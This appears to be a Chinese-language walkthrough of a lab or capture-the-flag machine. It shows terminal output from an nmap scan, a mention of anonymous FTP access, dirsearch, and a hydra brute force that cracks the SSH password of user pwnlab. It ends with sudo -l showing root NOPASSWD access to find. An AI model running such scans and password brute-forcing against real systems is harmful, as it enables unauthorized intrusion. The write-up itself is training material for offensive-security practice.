┌──(root㉿kakeru)-[~/tmp] └─# nmap 192.168.240.0/24 Starting Nmap 7.95 ( https://nmap.org ) at 2025-02-0311:38 CST Nmap scan report for bogon (192.168.240.46) Host is up (0.00039s latency). Not shown:997 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 22/tcp open ssh 80/tcp open http MAC Address: FA:DB:E5:E9:94:F7 (Unknown)
Nmap scan report for bogon (192.168.240.52) Host is up (0.010s latency). Not shown:998 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 8081/tcp filtered blackice-icecap MAC Address:3A:ED:9D:97:DA:7E (Unknown)
Nmap scan report for bogon (192.168.240.82) Host is up (0.00020s latency). Not shown:996 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 5000/tcp open upnp 5001/tcp open commplex-link 7000/tcp open afs3-fileserver MAC Address:3A:03:50:5A:8C:DF (Unknown)
Nmap scan report for bogon (192.168.240.83) Host is up (0.0000040s latency). Not shown:999 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh
Nmap done:256 IP addresses (4 hosts up) scanned in5.36 seconds
开放了ssh html ftp 并且html也只有一个apache默认界面 看看ftp服务能不能匿名登录 发现可以登录并且有一个note.txt 说明我们要利用ftp 用get把这个文件下载到本地看看什么内容
┌──(root㉿kakeru)-[~/tmp] └─# dirsearch -u http://192.168.240.46 /usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html from pkg_resources import DistributionNotFound, VersionConflict
┌──(root㉿kakeru)-[~/tmp] └─# hydra -l pwnlab -P /usr/share/wordlists/rockyou.txt ssh://192.168.240.46:22 -t 10 Hydra v9.5 (c) 2023by van Hauser/THC & David Maciejak - Please donotusein military or secret service organizations, orfor illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-02-0313:13:56 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended toreduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (useoption -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max10 tasks per 1 server, overall 10 tasks, 14344399 login tries (l:1/p:14344399), ~1434440 tries per task [DATA] attacking ssh://192.168.240.46:22/ [STATUS] 165.00 tries/min, 165 tries in00:01h, 14344234todoin1448:55h, 10 active [22][ssh] host: 192.168.240.46 login: pwnlab password: babygirl1 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2025-02-0313:15:39
成功拿到shell
提权
1 2 3 4 5 6
pwnlab@thothtech:~$ sudo -l MatchingDefaults entries for pwnlab on thothtech: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User pwnlab may run the following commands on thothtech: (root) NOPASSWD: /usr/bin/find